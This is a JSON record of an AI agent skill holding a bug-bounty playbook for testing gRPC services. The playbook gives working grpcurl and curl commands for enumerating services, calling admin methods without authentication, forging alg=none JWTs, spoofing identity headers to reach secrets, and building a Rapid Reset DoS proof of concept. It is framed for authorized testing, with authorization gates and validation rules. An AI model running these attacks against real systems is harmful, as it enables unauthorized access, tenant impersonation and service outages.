{"id":"hunt-grpc","name":"hunt-grpc","summary":"Hunt gRPCの脆弱性 — サーバーリフレクション有効(すべてのサービス/メソッドを列挙)、内部エンドポイントでの認証欠如/メタデータストリッピング、HTTP/2上の平文gRPC、内部エンドポイントの開示、プロトファイルリーク、gRPC-Web/grpcゲートウェイトランスコーディング注入、HTTP/2ラピッドリ…","body":"# HUNT-GRPC — gRPC Security\n\n## Crown Jewel Targets\n\ngRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is \"internal\" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.\n\n**Highest-value findings:**\n- **Reflection enabled in production** — `grpc.reflection.v1alpha.ServerReflection` / `grpc.reflection.v1.ServerReflection` lists every method, message, and internal service. Enumeration enabler, not a vuln on its own (see Validation).\n- **Missing auth on internal service** — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.\n- **Edge-auth-only / metadata-stripping** — proxy authenticates the user but the backend re-trusts proxy-injected headers (`x-user-id`, `x-tenant-id`, `x-forwarded-*`); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.\n- **Plaintext gRPC** — gRPC h2c (cleartext HTTP/2) on a non-standard port → credential/metadata interception.\n- **HTTP/2 Rapid Reset DoS (CVE-2023-44487)** — interleaved HEADERS + immediate RST_STREAM frames bypass `MAX_CONCURRENT_STREAMS` accounting → resource exhaustion. **DoS is in scope on almost no program — get explicit written authorization before sending a single burst.**\n\n---\n\n## Phase 1 — Fingerprint & Port Discovery\n\n```bash\n# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)\nnmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open\n\n# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1\necho | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i \"ALPN.*h2\"\n\n# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status\n# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.\ncurl -s --http2-prior-knowledge -X POST \"http://$TARGET:9090/x.Y/Z\" \\\n  -H \"content-type: application/grpc\" -o /dev/null -D - | grep -i grpc-status\n\n# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type\ncurl -s --http2 -X POST \"https://$TARGET/grpc.health.v1.Health/Check\" \\\n  -H \"content-type: application/grpc-web+proto\" -o /dev/null -D - | grep -i \"grpc-status\\|content-type\"\n```\n\n`grpc-status` trailer present ⇒ a gRPC server (or grpc-gateway/Envoy) is behind that port. `UNIMPLEMENTED` on a random path is normal and only confirms the transport — not a finding.\n\n---\n\n## Phase 2 — Service Enumeration via Reflection\n\n```bash\nbrew install grpcurl   # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest\n\n# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS\ngrpcurl -plaintext $TARGET:50051 list\ngrpcurl -insecure  $TARGET:443   list\n\n# Typical output when reflection is on:\n#   grpc.reflection.v1.ServerReflection\n#   grpc.health.v1.Health\n#   user.UserService\n#   admin.AdminService\n#   payment.PaymentService\n\n# List + describe every method of each service\ngrpcurl -plaintext $TARGET:50051 list admin.AdminService\ngrpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser\ngrpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema\n\n# Dump the whole catalog to triage interesting surfaces\nfor SVC in $(grpcurl -plaintext $TARGET:50051 list); do\n  echo \"== $SVC ==\"; grpcurl -plaintext $TARGET:50051 list \"$SVC\"\ndone | tee grpc-catalog.txt\ngrep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt\n```\n\n**Reflection disabled?** You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked `.proto` (Phase 5) and pass it with `grpcurl -protoset bundle.bin ...`. Reflection-off is a hardening control, not a security boundary.\n\n---\n\n## Phase 3 — Call Methods Without Authentication (authz testing)\n\n```bash\n# Baseline: call a sensitive method with NO auth metadata\ngrpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers\n\n# IDOR across an enumerable id field\nfor ID in 1 2 3 100 1000 1001; do\n  echo \"id=$ID\"; grpcurl -plaintext $TARGET:50051 \\\n    -d \"{\\\"user_id\\\": $ID}\" user.UserService/GetUser 2>&1 | head -4\ndone\n```\n\n**Interpret the gRPC status code, not just whether bytes came back (see Validation):**\n- `OK` + populated response → method executed unauthenticated → finding.\n- `Unauthenticated (16)` / `PermissionDenied (7)` → authz is enforced; NOT a finding.\n- `Unimplemented (12)` → wrong path / method not on this server.\n- `InvalidArgument (3)` → reached and parsed your input → method is callable; fix the payload and retry.\n\n---\n\n## Phase 4 — Authentication / Trust-Boundary Bypass\n\n```bash\n# (a) Forged bearer / alg=none JWT in the authorization metadata\ngrpcurl -plaintext $TARGET:50051 \\\n  -H \"authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0.\" \\\n  -d '{}' admin.AdminService/GetConfig\n\n# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and\n#     then trust identity injected as metadata. If the edge does not STRIP these,\n#     spoofing them = full impersonation. Test every plausible name:\nfor H in \"x-user-id: 1\" \"x-authenticated-user: admin\" \"x-tenant-id: 0\" \\\n         \"x-internal-request: true\" \"x-forwarded-for: 127.0.0.1\" \\\n         \"x-envoy-internal: true\" \"grpc-internal-encoding-request: true\"; do\n  echo \"== $H ==\"\n  grpcurl -plaintext $TARGET:50051 -H \"$H\" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3\ndone\n\n# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the\n#     server; some auth middlewares only inspect text metadata, missing -bin keys.\ngrpcurl -plaintext $TARGET:50051 -H \"auth-token-bin: $(printf admin|base64)\" \\\n  -d '{}' admin.AdminService/GetConfig\n```\n\nThe metadata-stripping bug (b) is the gRPC-specific crown jewel: confirm it by sending the spoofed header **directly to the backend port** AND, separately, **through the public proxy** — if the proxy forwards your `x-user-id` unchanged to the backend, it is exploitable for real users, not just on the bypassed port.\n\n---\n\n## Phase 5 — Proto File / Schema Discovery\n\n```bash\n# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger\nfor P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do\n  S=$(curl -s -o /dev/null -w '%{http_code}' \"https://$TARGET/$P\")\n  [ \"$S\" != 404 ] && echo \"Found: /$P ($S)\"\ndone\n\n# Source/registry leakage of .proto definitions\ngh search code --owner \"$TARGET_ORG\" 'syntax = \"proto3\"' --limit 20 2>/dev/null\ngh search code --owner \"$TARGET_ORG\" 'service ' filename:.proto --limit 20 2>/dev/null\n\n# Rebuild a descriptor set from leaked protos and drive the API without reflection\nprotoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto\ngrpcurl -protoset bundle.bin -plaintext $TARGET:50051 list\n```\n\nProto leakage on its own is low severity; its value is as the key that unlocks Phases 3–4 against a reflection-disabled target.\n\n---\n\n## Phase 6 — gRPC-Web / grpc-gateway / JSON-Transcoding Attacks\n\ngRPC almost always reaches the browser through a transcoder: **Envoy `grpc_web`/`grpc_json_transcoder`**, **grpc-gateway** (REST↔gRPC), or **Connect**. These translators are the realistic external attack surface and frequently re-expose internal methods.\n\n```bash\n# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often\n#     map predictably — hit them over plain HTTP/JSON (no gRPC client needed):\ncurl -s -X POST \"https://$TARGET/v1/admin/users:list\" -H 'content-type: application/json' -d '{}'\ncurl -s -X POST \"https://$TARGET/admin.AdminService/ListUsers\" \\\n  -H 'content-type: application/json' -d '{}'    # default unannotated route\n\n# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.\n#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.\n#     Encode the message with protoscope so the bytes are correct:\n#       protoscope -s <<<'1: 1'  > msg.bin          # field 1 (e.g. user_id) = 1\nMSG=$(xxd -p msg.bin | tr -d '\\n')\nLEN=$(printf '%08x' $((${#MSG}/2)))                 # 4-byte length prefix\nFRAME=$(printf '00%s%s' \"$LEN\" \"$MSG\")\necho \"$FRAME\" | xxd -r -p > frame.bin\ncurl -s \"https://$TARGET/user.UserService/GetUser\" \\\n  -H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \\\n  --data-binary @frame.bin | xxd | head\n\n# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:\ncurl -s \"https://$TARGET/user.UserService/GetUser\" \\\n  -H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \\\n  -d '{\"user_id\": 1}'\n\n# (d) Connect protocol (buf): plain JSON POST, unary, no framing:\ncurl -s \"https://$TARGET/user.UserService/GetUser\" \\\n  -H 'content-type: application/json' -H 'connect-protocol-version: 1' \\\n  -d '{\"user_id\": 1}'\n```\n\nWhy this matters: the browser-facing transcoder commonly forwards to the SAME backend as the internal gRPC plane. If the transcoder route exposes `AdminService` or fails to require the auth the gRPC client would have sent, you have a real, externally-reachable authz bug. Confirm each transcoded route returns `OK` with sensitive data, and verify it is reachable as an unauthenticated/low-priv user (not just from inside the mesh).\n\n---\n\n## Phase 7 — HTTP/2 Rapid Reset DoS (CVE-2023-44487)\n\n**Authorization gate:** DoS is out of scope on the overwhelming majority of programs. Do NOT run this without explicit, written, scoped permission and a target/window the program owner agreed to. Skip to Validation if unsure.\n\nThe attack is NOT a load test. It opens streams (HEADERS) and immediately cancels them (RST_STREAM) before the server finishes, so each cancelled stream frees a `MAX_CONCURRENT_STREAMS` slot instantly while the server still spends work on it — the client races far ahead of the concurrency cap. `h2load`/`ghz` are throughput benchmarkers; **they have no rapid-reset mode and never interleave HEADERS+immediate-RST_STREAM, so they cannot test this.**\n\n**Correct tooling — author-sanctioned PoCs that actually emit the frame pattern:**\n```bash\n# CERT/CC + community tracking and PoCs for CVE-2023-44487:\n#   https://kb.cert.org/vuls/id/421644\n#   https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/  (Cloudflare writeup)\n# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:\ngit clone https://github.com/secengjeff/rapidresetclient\ncd rapidresetclient && go build -o rapidreset .\n# Detection-only: a SHORT, low-count burst, with permission, then STOP:\n./rapidreset --help    # confirm current flags first, then a SMALL authorized burst, e.g.:\n# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20\n\n# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)\n# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.\n```\n\n**Detection without DoSing — prefer this:** the only thing you need to PROVE is whether mitigations are present. Check the server banner / version and whether it tracks reset floods:\n```bash\n# Fingerprint the HTTP/2 implementation and version (patched versions are known):\ncurl -sI --http2 https://$TARGET/ | grep -i '^server:'\n# nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,\n# grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.\n```\nReport the *version-confirmed* mitigation gap rather than a benchmark slowdown. \"Server got slower under load\" is not proof of CVE-2023-44487 — it produces false positives on slow/under-provisioned servers and false negatives on patched ones that throttle resets gracefully.\n\n---\n\n## Tools\n\n```bash\ngrpcurl   # primary CLI client (list/describe/call, -protoset for reflection-off)\ngrpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051\nprotoc + protoscope   # build/inspect raw protobuf and gRPC-Web frames (Phase 6)\nbuf       # lint/inspect proto, drive Connect endpoints\n# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).\n#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not\n#   use them to \"prove\" CVE-2023-44487.\n```\n\n---\n\n## Chain Table\n\n| gRPC finding | Chain to | Impact |\n|--------------|----------|--------|\n| Reflection enabled | Enumerate all internal service methods + messages | Full API catalog disclosure (enabler) |\n| Admin method, no auth | Call privileged RPCs (`DeleteUser`, `GetConfig`) | Data manipulation / system access — Critical |\n| Proxy forwards `x-user-id`/`x-tenant-id` unstripped | Spoof identity metadata → cross-tenant impersonation | Tenant isolation bypass — Critical |\n| IDOR via enumerable id field | Iterate `user_id` over `GetUser` | Mass PII exfil — High |\n| grpc-gateway / gRPC-Web route re-exposes internal RPC | Hit transcoded REST/JSON path unauth | Externally-reachable authz bypass — High/Critical |\n| Plaintext h2c on internal port | MITM / sniff metadata (bearer tokens) | Credential capture — High |\n| `.proto` leak (repo/swagger) | `-protoset` to drive reflection-off target | Unlocks Phases 3–4 — Low alone, High as enabler |\n\nRelated skills: **hunt-idor** (id enumeration logic), **hunt-api-misconfig** (JWT alg=none / mass-assignment in request messages), **hunt-auth-bypass** (edge-vs-backend trust boundary), **hunt-tls-network** (h2c/plaintext + ALPN), **cloud-iam-deep** (if a called RPC returns cloud creds).\n\n---\n\n## Validation — false-positive discipline\n\ngRPC's failure modes look like successes to a naive `grep`. Apply these gates before any submission.\n\n1. **Status-code discrimination, not byte-counting.** A non-empty response can still be an error frame. Confirm the `grpc-status` trailer is `0` (OK). `Unauthenticated (16)` / `PermissionDenied (7)` mean auth WORKS — close the candidate. `Unimplemented (12)` means you have the wrong method. Re-run with `grpcurl -v` and read the trailers explicitly.\n\n2. **Reflection / health endpoints are often intentionally public.** `grpc.reflection.*` and `grpc.health.v1.Health` being reachable is, by itself, **info disclosure (Low/Medium at most)** — many vendors ship reflection on by design. Do NOT report it as \"missing auth\" unless it leaks a non-public service catalog. The finding is the *sensitive* service you can then call without auth, proven in Phase 3.\n\n3. **Distinguish \"no auth\" from \"auth not required for THIS method.\"** Some methods (health, public catalog reads) are legitimately anonymous. Prove the bug by showing an authenticated-vs-unauthenticated **state delta**: the same RPC returns another user's/tenant's private data without credentials, or a mutating admin RPC executes (re-read the changed state to confirm side-effect).\n\n4. **Proxy-vs-backend reachability.** A bug reachable only by hitting an internal `:50051` you found via SSRF/port-scan is real but its severity depends on reachability. State explicitly how an external attacker reaches it (exposed port, SSRF egress, proxy passthrough). For metadata-spoofing, prove the PUBLIC proxy forwards the spoofed header — not just the bypassed backend port.\n\n5. **OOB / Collaborator for anything blind.** If an RPC takes a URL/host argument (webhook, import, render), it is an SSRF candidate: point it at a Burp Collaborator payload with a unique subdomain and confirm the DNS+HTTP interaction before claiming SSRF. No interaction = no SSRF. Hand off to **hunt-ssrf**.\n\n6. **DoS is authorization-gated and version-verifiable.** Never submit CVE-2023-44487 off a benchmark \"slowdown.\" Either (a) version-match an unpatched HTTP/2 stack from the `server:` banner, or (b) demonstrate the reset-flood ONLY under explicit written authorization with an agreed window — then stop immediately. A slow response is not proof.\n\n**Severity guide (after the gates above pass):**\n- Sensitive/admin RPC callable with no auth, side-effect proven → **Critical**\n- Proxy-forwarded metadata spoofing → cross-tenant impersonation → **Critical**\n- IDOR / mass PII via enumerable RPC → **High**\n- Internal service externally reachable (transcoder or open port) → **High**\n- Plaintext h2c leaking bearer metadata → **High**\n- Reflection enabled exposing non-public catalog → **Medium** (enabler)\n- Proto/descriptor leak, no callable sensitive method → **Low**","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-grpc","license":"MIT","category":"security","lang":"en","tokens":4351,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["blog.cloudflare.com","kb.cert.org"]}}